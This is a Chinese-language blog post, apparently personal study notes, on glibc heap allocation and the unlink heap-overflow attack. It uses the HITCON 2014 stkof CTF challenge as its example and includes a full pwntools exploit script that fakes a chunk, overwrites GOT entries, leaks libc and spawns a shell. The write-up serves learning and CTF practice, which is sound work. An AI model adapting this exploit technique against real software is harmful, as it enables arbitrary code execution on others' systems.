最近认真学习了下linux下堆的管理及堆溢出利用,做下笔记;作者作为初学者,如果有什么写的不对的地方而您又碰巧看到,欢迎指正。

  本文用到的例子下载链接https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/stkof

  首先总结一下linux下堆的分配管理。堆的基本结构见上一篇文章,这里不再赘述。

一个更详细总结的传送门

glibc内存管理ptmalloc源码分析

1.堆区是在进程加载时的一片区域,mmap方式分配的堆结构体中的fd,bk指针指向的区域并不是随机分配的,而是由fd,bk等指针连接的相邻的、连续的内存区

2.为了支持多线程,堆的分配有arena机制(详见https://ctf-wiki.github.io/ctf-wiki/pwn/heap/heap_structure/#arena),简单来说该机制就是在第一次申请内存时分配的一个比申请内存大很多的一片内存区域,目的是减少内存申请释放时unlink的次数。

3.用户释放的chunk不会马上返还给系统,glibc的bin会管理释放的chunk,包含四类fast bins,small bins,large bins,unsorted bin。每一类的设计都包含优化减少unlink次数的思想,比如fast bin管理策略是LIFO,堆块默认最大64 * SIZE_SZ / 4,释放时如果bin大小在fast bin范围内,则插入到fastbin头部(目的是减少堆块合并、分割的操作,试想如果直接释放较小堆块,如果释放的较小堆块与之物理相邻堆块是空闲堆块,则会发生合并;当再次申请释放堆块大小的堆时,则又需要重新分割较小的堆块)(释放时进行前向合并时会先检查释放堆大小是否是fastbin大小,如果是直接链入fastbin头部;非fastbin大小的堆在释放时前向合并,如果物理相邻高地址堆为top_chunk则合并到top_chunk)size_sz是机器字长

4.unlink宏源代码https://code.woboq.org/userspace/glibc/malloc/malloc.c.html1388行。free的过程涉及到新的chunk由allocated变为free,为了优化要进行合并操作,包括后向合并(合并低地址chunk)和前向合并(合并高地址chunk),unlink的过程是一个从双向链表删除节点的操作。

5.glibc中free过程的大致操作:

  1>.释放堆块大小合法性检查(size>=min_size&&size<=max_size)

  2>.当前堆的follow chunk合法且前向堆(next chunk)的pre_inuse flag=1(next_chunk->size&0x1==1)

  3>.当前堆不能和freelist的头节点一致(double free),但是释放时仅检查freelist头节点并不遍历freelist,所以如果释放的chunk在freelist里(非头节点)还是会导致double free

  4>.检查后向堆(低地址chunk)和前向堆(高地址chunk)是否空闲

  5>.如果空闲则合并堆

  6>.将释放的堆链入合适的freelist

  下面分析一下这个有堆溢出的程序。

  这个程序实现了一个堆内存分配释放的功能,并且分配的堆可以编辑内容,分配的堆块指针记录在一个全局静态存储区.bss。但由于编辑的时候没有检查编辑内容的长度,导致溢出。

  

  下面以这个程序为例分析一下堆溢出unlink是如何导致任意内存写的,并分析一下如何利用。

  使用IDA查看发现存储堆指针的内存区起始于0x602140,不妨把这个内存起始地址叫做chunk_list

  如果我们alloc(0x30),alloc(0x30)两个堆,这个程序会把分配的地址写到chunk_list[1](即0X602148,chunk1)和chunk_list[2]的位置。由于编辑的时候没有检查长度,所以我们可以在chunk1写入大于chunk1分配大小的内容,由于chunk1和chunk2物理相邻(没有调用brk手动扩展堆),所以chunk1溢出的内容会覆盖到chunk2。所以我们精心设计一个chunk1的内容,使他的内存布局如下

  

  即在chunk1中填充一个fake_chunk,使libc认为chunk2的prev_free_chunk是chunk1。fake_fd和fake_bk这么填充的原因是绕过双向链表的检测

if (__builtin_expect (FD->bk != P || BK->fd != P, ))                      \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD;

  unlink时首先检测双向链表完整性

FD=chunk1_ptr-3*size_sz  =>  FD->bk=(chunk1_ptr-3*size_sz)+3*size_sz=chunk1_ptr

BK=chunk1_ptr-2*size_sz  =>  BK->fd=(chunk1_ptr-2*size_sz)+2*size_sz=chunk1_ptr

即这样可以绕过上述双向链表的检测。

  unlink删除双向链表节点过程中的原子操作

FD->bk=BK  =>  chunk1_ptr=chunk1_ptr-2*size_sz  <=FD->bk=chunk1_ptr

BK->fd=FD  =>  chunk1_ptr=chunk1_ptr-3*size_sz  <=BK->fd=chunk1_ptr

即chunk1_ptr最终被赋值chunk1_ptr-3*size_sz,所以此时保存chunk1指针的chunk_list[1]就会指向chunk1_ptr-3*size_sz。因为这个地址在bss段,这样我们就得到了一个可读可写段的可控地址^.^

这里可以达成一次任意地址写的本质是我们得到了

&(&chunk0_ptr)=&(&chunk0_ptr)-*size_sz

则有

*(&(&chunk0_ptr))=*(&(&chunk0_ptr)-*size_sz)

即两个指针指向的内容是一致的,而此时&chunk0_ptr我们是可以修改为任意值,以此达成一次任意地址写

此时,chunk_list[1][3*size_sz]就是chunk_list[1]指向的地址处偏移3*size_sz的内容,所以我们可以编辑chunk1的内容为padding(3*size_sz)+p64(free@got),即可通过读chunk_list地址处内容得到free@got,进而得到libc基址,进而计算得到system@got

另外一种利用思路是把rsp指向chunk_list,然后通过构造ROP获取shell(https://raw.githubusercontent.com/acama/ctf/master/hitcon2014/stkof/x.py

unlink可以导致任意代码执行的原因是我们可以覆盖free@got为system@got,然后调用free即可执行system@got的内容

EXP如下,另一个堆溢出例子传送门

from pwn import *

context.log_level='DEBUG'

p=process('./patched-stkof')
elf=ELF('./patched-stkof')
libc=ELF('./libc.so.6')

def debug():
print p.pid
pause()

def new(sz):
p.sendline('1')
p.sendline(str(sz))
p.recvuntil('OK\n')

def edit(idx,con):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(con)))
p.send(con)
p.recvuntil('OK\n')

def free(idx):
p.sendline('3')
p.sendline(str(idx))

new(0x100) #1
new(0x30) #2
new(0x80) #3
new(0x80) #4

cklist=0x602140
cur_chk=cklist+0x10
size_sz=8
fake_chunk=p64(0)+p64(0x30)+p64(cur_chk-3*size_sz)+p64(cur_chk-2*size_sz)+'a'*0x10+p64(0x30)+p64(0x90)
edit(2,fake_chunk)
#debug()
free(3)
p.recvuntil('OK\n')
#debug()
payload='a'*8+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(elf.got['puts'])
edit(2,payload)
#debug()
#modify free@got to puts@got to leak
edit(0,p64(elf.plt['puts']))
#debug()

free(2)
puts=u64(p.recvuntil('\nOK',drop=True).ljust(8,'\x00'))
success("puts: "+hex(puts))
libc_base=puts-libc.sym['puts']
success("libc_base: "+hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
success("system: "+hex(system))
success("binsh: "+hex(binsh))
#debug()
edit(1,p64(system))
p.send(p64(binsh))

p.interactive()

linux下堆溢出unlink的一个简单例子及利用的更多相关文章

  1. Linux下select的用法--实现一个简单的回射服务器程序

    1.先看man手册 SYNOPSIS       /* According to POSIX.1-2001 */       #include <sys/select.h>       / ...

  2. Linux下缓冲区溢出攻击的原理及对策(转载)

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

  3. Linux下缓冲区溢出攻击的原理及对策

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...

  4. 在Linux下如何使用GCC编译程序、简单生成 静态库及动态库

      最近在编写的一个Apache  kafka 的C/C++客户端,,在看他写的 example中,他的编译是用librdkafka++.a和librdkafka.a    静态库编译的,,,而我们这 ...

  5. Linux内核中的信号机制--一个简单的例子【转】

    本文转载自:http://blog.csdn.net/ce123_zhouwei/article/details/8562958 Linux内核中的信号机制--一个简单的例子 Author:ce123 ...

  6. Mac、Linux下两个Emacs共享一个配置文件

    Mac.Linux下两个Emacs共享一个配置文件 有些嵌入式的实验需要在Linux进行,就安装了RHEL6.4的虚拟机,下载并编译了Emacs. 在Linux的.emacs文件中加入以下语句,即可引 ...

  7. 一个简单例子:贫血模型or领域模型

    转:一个简单例子:贫血模型or领域模型 贫血模型 我们首先用贫血模型来实现.所谓贫血模型就是模型对象之间存在完整的关联(可能存在多余的关联),但是对象除了get和set方外外几乎就没有其它的方法,整个 ...

  8. (转)Java中使用正则表达式的一个简单例子及常用正则分享

    转自:http://www.jb51.net/article/67724.htm 这篇文章主要介绍了Java中使用正则表达式的一个简单例子及常用正则分享,本文用一个验证Email的例子讲解JAVA中如 ...

  9. C语言多线程的一个简单例子

    多线程的一个简单例子: #include <stdio.h> #include <stdlib.h> #include <string.h> #include &l ...

随机推荐

  1. js正则表达式——数字校验

    // 只能输入正数 function clearNoNum(obj) { // 只能输入数字和小数点的文本框, 只能输入小数点后两位 obj.value = obj.value.replace(/[^ ...

  2. ABP大型项目实战(2) - 调试与排错 - 日志 - 查看审计日志

    这是<ABP大型项目实战>系列文章的一篇.   项目发布到生产环境后难免会有错误. 那么如何进行调试和排错呢?   我看到俱乐部里有人是直接登陆生产服务器把数据库下载到开发机器进行调试排错 ...

  3. Django 之 admin管理工具

    -------------------------------------------------------------------------妄尝恶果,苦果自来. admin组件使用 Django ...

  4. 页面跳转时,url 传大数据的参数不全的问题+序列化对象

    1.页面跳转时,url 传大数据的参数不全的问题 //传参: url: '/pages/testOfPhysical/shareEvaluation?detailInfo=' +encodeURICo ...

  5. day01(计算机组成,进制,内存分布,操作系统)

    本周内容: 第一天: 计算机原理 操作系统 第二天: 编程语言 python入门:环境 - 编辑器 变量 基本数据类型 学习方法: 鸡汤 - 干货 wwwh : what  | why | where ...

  6. c++入门之函数指针和函数对象

    函数指针可以方便我们调用函数,但采用函数对象,更能体现c++面向对象的程序特性.函数对象的本质:()运算符的重载.我们通过一段代码来感受函数指针和函数对象的使用: int AddFunc(int a, ...

  7. 国内可访问的稳定docker镜像

    可参考:https://yeasy.gitbooks.io/docker_practice/content/install/mirror.html 但在debian 9上进行相应配置后,在pull镜像 ...

  8. Object Detection with 10 lines of code - Image AI

    To perform object detection using ImageAI, all you need to do is Install Python on your computer sys ...

  9. python基础之小数据池、代码块、编码和字节之间换算

    一.代码块.if True: print(333) print(666) while 1: a = 1 b = 2 print(a+b) for i in '12324354': print(i) 虽 ...

  10. Zookeeper 启蒙

    2018-12-14 关键词: Zookeeper入门介绍 . Zookeeper是什么.Zookeeper架构解析.Zookeeper应用场景.Zookeeper有什么用 本篇文章系笔者依据当前所掌 ...